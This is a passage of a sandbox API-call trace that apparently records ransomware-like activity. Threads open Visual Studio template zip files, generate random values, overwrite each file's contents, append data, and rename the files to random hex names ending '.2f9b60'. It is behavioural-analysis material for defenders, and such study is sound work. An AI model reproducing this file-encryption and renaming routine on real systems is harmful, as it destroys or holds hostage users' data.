Seed=0x29dbfa70) returned 0x77a33875 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x1b8ab47d [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x6f738437 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x54728f81 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x125f178a [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x43db1db7 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x6dbda860 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x3d613013 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x228f4ff0 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x17b55963 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x103f4ef6 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x7c8b196e [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x498a03d7 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0xf7260c9 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x68aba33c [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x77b19007 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x4a2aa37a [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x3550580d [0228.430] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x27192924 [0228.430] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x345d4e56 [0228.438] ReadFile (in: hFile=0x460, lpBuffer=0x41cb9560, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0x29dbfa70, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesRead=0x29dbfa70*=0x3d4, lpOverlapped=0x0) returned 1 [0228.438] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.438] WriteFile (in: hFile=0x460, lpBuffer=0x41cae130*, nNumberOfBytesToWrite=0x3d4, lpNumberOfBytesWritten=0x29dbfa74, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesWritten=0x29dbfa74*=0x3d4, lpOverlapped=0x0) returned 1 [0233.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed10 [0233.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed40 [0233.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed40) returned 1 [0233.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0233.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0233.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cac0) returned 1 [0233.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62af0) returned 1 [0233.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fb70 [0233.376] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.376] WriteFile (in: hFile=0x460, lpBuffer=0x42c20c70*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x29dbfb90, lpOverlapped=0x0 | out: lpBuffer=0x42c20c70*, lpNumberOfBytesWritten=0x29dbfb90*=0x11a, lpOverlapped=0x0) returned 1 [0235.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0235.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0235.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202635f0 [0235.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0235.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0235.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0235.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858cd0 [0235.780] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="00") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="af") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="86") returned 2 [0235.780] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="91") returned 2 [0235.780] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.780] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.780] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="45") returned 2 [0235.780] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.780] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="45") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="18") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="e6") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="61") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="57") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="96") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.781] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="03") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="69") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="15") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="e6") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="41") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="e9") returned 2 [0235.781] sprintf (in: _Dest=0x1b858d1c, _Format="%c%c" | out: _Dest="de") returned 2 [0235.782] sprintf (in: _Dest=0x1b858d1e, _Format="%c%c" | out: _Dest="48") returned 2 [0235.782] RtlInitAnsiString (in: DestinationString=0x29dbfc08, SourceString="1d009daff7d98691b93d458e6e4518e6fd6157caef96e5e5aa6e0369e015c9d3e62b41d8cfe9de48" | out: DestinationString="1d009daff7d98691b93d458e6e4518e6fd6157caef96e5e5aa6e0369e015c9d3e62b41d8cfe9de48") [0235.782] RtlAnsiStringToUnicodeString (in: DestinationString=0x29dbfbd8, SourceString="1d009daff7d98691b93d458e6e4518e6fd6157caef96e5e5aa6e0369e015c9d3e62b41d8cfe9de48", AllocateDestinationString=1 | out: DestinationString="1d009daff7d98691b93d458e6e4518e6fd6157caef96e5e5aa6e0369e015c9d3e62b41d8cfe9de48") returned 0x0 [0235.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce17160 [0235.782] wcscat (in: _Dest=0x1b78e180, _Source="1d009daff7d98691b93d" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d" [0235.782] wcscat (in: _Dest=0x1b78e180, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d.2f9b60" [0235.783] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d.2f9b60", NtPathName=0x29dbfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1d009daff7d98691b93d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c15cb0 Thread: id = 3793 os_tid = 0xe28 [0227.639] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip")) returned 0x20 [0228.198] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip", dwFileAttributes=0x20) returned 1 [0228.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2600 [0228.200] GetFileSizeEx (in: hFile=0x2600, lpFileSize=0x2ebdf820 | out: lpFileSize=0x2ebdf820*=550) returned 1 [0228.200] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x222, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.200] ReadFile (in: hFile=0x2600, lpBuffer=0x2ebdf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ebdf7e8, lpOverlapped=0x0 | out: lpBuffer=0x2ebdf7a0*, lpNumberOfBytesRead=0x2ebdf7e8*=0x4, lpOverlapped=0x0) returned 1 [0228.201] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0228.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e840 [0228.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e2d0 [0228.202] NtQuerySystemTime (in: CurrentTime=0x2ebdf6e0 | out: CurrentTime=0x2ebdf6e0*=132462178321978000) returned 0x0 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x6b0d02e3 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x5258bab5 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x47f11fae [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x5de7d91e [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x5caf1a55 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x5a9d029d [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x3ae9b1b3 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x56b1493c [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x37abbd9b [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x243974a0 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x34fe319b [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x49008125 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x3ab0199d [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x2243e043 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x3b6cd92b [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x1f548efc [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x17ad99d4 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x61ba0608 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x596ecee1 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x624dfb0a [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0xc15ebca [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x5afba2b9 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x1cb891b0 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x20684ff1 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x303dd9a2 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x69b42344 [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x11b6ccae [0228.202] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x41259b85 [0228.203] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x94f7880 [0228.203] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x7cba4e06 [0228.203] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x27474704 [0228.203] RtlRandomEx (in: Seed=0x2ebdf6d0 | out: Seed=0x2ebdf6d0) returned 0x7bb025bc [0228.211] ReadFile (in: hFile=0x2600, lpBuffer=0x41b5b4e0, nNumberOfBytesToRead=0x226, lpNumberOfBytesRead=0x2ebdf6d0, lpOverlapped=0x0 | out: lpBuffer=0x41b5b4e0*, lpNumberOfBytesRead=0x2ebdf6d0*=0x226, lpOverlapped=0x0) returned 1 [0228.211] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.211] WriteFile (in: hFile=0x2600, lpBuffer=0x41b578d0*, nNumberOfBytesToWrite=0x226, lpNumberOfBytesWritten=0x2ebdf6d4, lpOverlapped=0x0 | out: lpBuffer=0x41b578d0*, lpNumberOfBytesWritten=0x2ebdf6d4*=0x226, lpOverlapped=0x0) returned 1 [0232.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7250 [0232.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b00 [0232.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b00) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b578d0) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5b4e0) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ccc0) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62550) returned 1 [0232.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6b00 [0232.295] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.295] WriteFile (in: hFile=0x2600, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ebdf7f0, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x2ebdf7f0*=0x10a, lpOverlapped=0x0) returned 1 [0236.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e360 [0236.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e360) returned 1 [0236.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e360 [0236.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a940 [0236.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a940) returned 1 [0236.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f8b0 [0236.028] sprintf (in: _Dest=0x1cd9f8b0, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8b2, _Format="%c%c" | out: _Dest="01") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8b4, _Format="%c%c" | out: _Dest="35") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8b6, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8b8, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8ba, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8bc, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8be, _Format="%c%c" | out: _Dest="db") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8c0, _Format="%c%c" | out: _Dest="06") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8c2, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8c4, _Format="%c%c" | out: _Dest="fb") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8c6, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8c8, _Format="%c%c" | out: _Dest="3e") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8ca, _Format="%c%c" | out: _Dest="26") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8cc, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8ce, _Format="%c%c" | out: _Dest="44") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8d0, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8d2, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8d4, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8d6, _Format="%c%c" | out: _Dest="76") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8d8, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8da, _Format="%c%c" | out: _Dest="d7") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8dc, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.029] sprintf (in: _Dest=0x1cd9f8de, _Format="%c%c" | out: _Dest="69") returned 2 [0236.029] RtlInitAnsiString (in: DestinationString=0x2ebdf868, SourceString="cc0135ccbbe34fdb06fffbb43e267b44e89edd76efd7dc69" | out: DestinationString="cc0135ccbbe34fdb06fffbb43e267b44e89edd76efd7dc69") [0236.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ebdf838, SourceString="cc0135ccbbe34fdb06fffbb43e267b44e89edd76efd7dc69", AllocateDestinationString=1 | out: DestinationString="cc0135ccbbe34fdb06fffbb43e267b44e89edd76efd7dc69") returned 0x0 [0236.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319ebf0 [0236.030] wcscat (in: _Dest=0x423ab820, _Source="cc0135ccbbe3" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3" [0236.030] wcscat (in: _Dest=0x423ab820, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3.2f9b60" [0236.030] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3.2f9b60", NtPathName=0x2ebdf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\cc0135ccbbe3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x431a92d0 Thread: id = 3794 os_tid = 0x10d8 [0227.640] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip")) returned 0x20 [0228.271] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip", dwFileAttributes=0x20) returned 1 [0228.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0228.271] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x2d7cf880 | out: lpFileSize=0x2d7cf880*=1436) returned 1 [0228.272] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x598, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.272] ReadFile (in: hFile=0xeb8, lpBuffer=0x2d7cf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d7cf848, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf800*, lpNumberOfBytesRead=0x2d7cf848*=0x4, lpOverlapped=0x0) returned 1 [0228.419] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0228.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3740 [0228.419] NtQuerySystemTime (in: CurrentTime=0x2d7cf740 | out: CurrentTime=0x2d7cf740*=132462178324162000) returned 0x0 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6a35ae89 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x281cbd85 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6f8bacd6 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x282dd8a8 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x7bfb6cc5 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x7a4193f2 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x3689f00 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x2f2a9e65 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 